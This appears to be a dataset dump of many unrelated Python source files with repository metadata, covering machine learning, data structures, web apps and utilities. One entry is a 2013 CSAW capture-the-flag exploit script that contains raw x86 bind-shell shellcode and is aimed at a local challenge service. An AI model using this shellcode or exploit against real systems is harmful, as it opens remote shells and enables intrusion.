class AdaptiveRobustLoss(nn.Module):
"""
This class implements the adaptive robust loss function proposed by <NAME> for image tensors
"""
def __init__(self, device: str = 'cud... | 3.265625 | 3 |
pwcheck.py | madfordmac/scripts | 0 | 12780132 | <reponame>madfordmac/scripts
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
from hashlib import sha1
import requests
import argparse
import sys, os
parser = argparse.ArgumentParser(description="Check your password against the https://haveibeenpwned.com/ API.")
parser.add_argument('-q', '--quiet', action="store_true", ... | 3.5625 | 4 |
auth.py | Bociany/Moodai | 0 | 12780133 | <reponame>Bociany/Moodai<filename>auth.py
from pymemcache.client.base import Client
import secrets
import hashlib
memcached_client = Client(("localhost", 11211))
TOKEN_EXPIRATION = 60*60*24
print("auth: memcached hot token cache backend started!")
# Generates a new token for a user
def generate_token(id):
token = s... | 2.703125 | 3 |
demos/python/sdk_wireless_camera_control/open_gopro/interfaces.py | hypoxic/OpenGoPro | 1 | 12780134 | <gh_stars>1-10
# interfaces.py/Open GoPro, Version 1.0 (C) Copyright 2021 GoPro, Inc. (http://gopro.com/OpenGoPro).
# This copyright was auto-generated on Tue May 18 22:08:50 UTC 2021
"""Interfaces that must be defined outside of other files to avoid circular imports."""
from abc import ABC, abstractmethod
from typin... | 2.296875 | 2 |
ProgettoLube/WebInspector/venv/Lib/site-packages/tensorflow/_api/v2/compat/v1/feature_column/__init__.py | Lube-Project/ProgettoLube | 2 | 12780135 | <filename>ProgettoLube/WebInspector/venv/Lib/site-packages/tensorflow/_api/v2/compat/v1/feature_column/__init__.py
# This file is MACHINE GENERATED! Do not edit.
# Generated by: tensorflow/python/tools/api/generator/create_python_api.py script.
"""Public API for tf.feature_column namespace.
"""
from __future__ import ... | 1.851563 | 2 |
setup.py | ImperialCollegeLondon/guikit | 3 | 12780136 | """
Only needed to install the tool in editable mode. See:
https://setuptools.readthedocs.io/en/latest/userguide/quickstart.html#development-mode
"""
import setuptools
setuptools.setup()
| 0.914063 | 1 |
lambo/models/masked_layers.py | samuelstanton/lambo | 10 | 12780137 | <reponame>samuelstanton/lambo
import torch
import torch.nn as nn
class Apply(nn.Module):
def __init__(self, module, dim=0):
super().__init__()
self.module = module
self.dim = dim
def forward(self, x):
xs = list(x)
xs[self.dim] = self.module(xs[self.dim])
return... | 2.578125 | 3 |
Python/SinglyLinkedList.py | Nikhil-Sharma-1/DS-Algo-Point | 1,148 | 12780138 | class Node:
def __init__(self, data):
self.data = data
self.next = None
class SinglyLinkedList:
def __init__(self):
self.head = None
self.pos = None
def insert(self, data):
newNode = Node(data)
if self.head == None:
self.head = newNode
... | 3.90625 | 4 |
Python/ds/Firstfit.py | Khushboo85277/NeoAlgo | 897 | 12780139 | """
First fit is the simplest of all the storage allocation strategies.
Here the list of storages is searched and as soon as a free storage block of size >= N is found ,
the pointer of that block is sent to the calling program after retaining the residue space.Thus, for example,
for a block of size 5k , 2k memory will ... | 4.03125 | 4 |
verto/processors/CommentPreprocessor.py | uccser/verto | 4 | 12780140 | from markdown.preprocessors import Preprocessor
import re
class CommentPreprocessor(Preprocessor):
''' Searches a Document for comments (e.g. {comment example text here})
and removes them from the document.
'''
def __init__(self, ext, *args, **kwargs):
'''
Args:
ext: An in... | 3.296875 | 3 |
LinearRegression/LinearRegression.py | saurabbhsp/machineLearning | 3 | 12780141 |
# coding: utf-8
# In[1]:
get_ipython().run_cell_magic('javascript', '', '<!-- Ignore this block -->\nIPython.OutputArea.prototype._should_scroll = function(lines) {\n return false;\n}')
# ## Use housing data
# I have loaded the required modules. Pandas and Numpy. I have also included sqrt function from Math li... | 3.40625 | 3 |
atari_a2c.py | godka/mario_rl | 0 | 12780142 | <filename>atari_a2c.py
import gym
import os
import random
from itertools import chain
import numpy as np
import torch.nn.functional as F
import torch.nn as nn
import torch
import cv2
from model import *
import torch.optim as optim
from torch.multiprocessing import Pipe, Process
from collections import deque
from ... | 2.28125 | 2 |
award/urls.py | stevekibe/Awards | 0 | 12780143 | from django.conf import settings
from django.conf.urls.static import static
from django.conf.urls import url
from . import views
urlpatterns=[
url('^$',views.index,name='index'),
url(r'^new/post$',views.new_project, name='new-project'),
url(r'votes/$',views.vote_project, name='vote_project'),
url(r'^us... | 1.914063 | 2 |
2013/CSAW/exploit2.py | parksjin01/ctf | 0 | 12780144 | <gh_stars>0
from pwn import *
import binascii
sh = remote('localhost', 31338)
buf_addr = sh.recv(4)
secret = sh.recv(4)
print binascii.hexlify(secret)
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb... | 1.8125 | 2 |
mrftools/ConvexBeliefPropagator.py | berty38/mrftools | 0 | 12780145 | """Convexified Belief Propagation Class"""
import numpy as np
from .MatrixBeliefPropagator import MatrixBeliefPropagator, logsumexp, sparse_dot
class ConvexBeliefPropagator(MatrixBeliefPropagator):
"""
Class to perform convexified belief propagation based on counting numbers. The class allows for non-Bethe
... | 2.875 | 3 |
sshpipe/sshpipe/lib/subprocess/__init__.py | Acrisel/sshpipe | 0 | 12780146 | <filename>sshpipe/sshpipe/lib/subprocess/__init__.py
from .sshsubprocess import run | 1.242188 | 1 |
command_line/pytest_launcher.py | dials/dx2 | 0 | 12780147 | <filename>command_line/pytest_launcher.py
# LIBTBX_SET_DISPATCHER_NAME pytest
import sys
import pytest
# modify sys.argv so the command line help shows the right executable name
sys.argv[0] = "pytest"
sys.exit(pytest.main())
| 1.570313 | 2 |
client/gap/contact.py | brandsafric/weqtrading | 1 | 12780148 | <gh_stars>1-10
import os
import webapp2
import jinja2
from google.appengine.ext import ndb
from google.appengine.api import users
import logging
import json
class Contact(ndb.Expando):
contact_id : ndb.StringProperty()
names : ndb.StringProperty()
cell : ndb.StringProperty()
email : ndb.StringProper... | 1.8125 | 2 |
backgroundtasks.py | chadspratt/AveryDB | 0 | 12780149 | <reponame>chadspratt/AveryDB<filename>backgroundtasks.py<gh_stars>0
"""Code to handle queuing and execution of background tasks."""
##
# Copyright 2013 <NAME>
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a c... | 2.75 | 3 |
bot.py | kevinchu-sg/reddit-csv-bot | 2 | 12780150 | <reponame>kevinchu-sg/reddit-csv-bot
#!/usr/bin/env python3
import praw
import csv
from datetime import datetime, timedelta
#-------------------------------------------------
#OPTIONS
USERNAME = ''
PASSWORD = ''
user_agent = 'management by /u/kevinosaurus' #user-agent details
csv_list = ['log1.csv', 'log... | 2.484375 | 2 |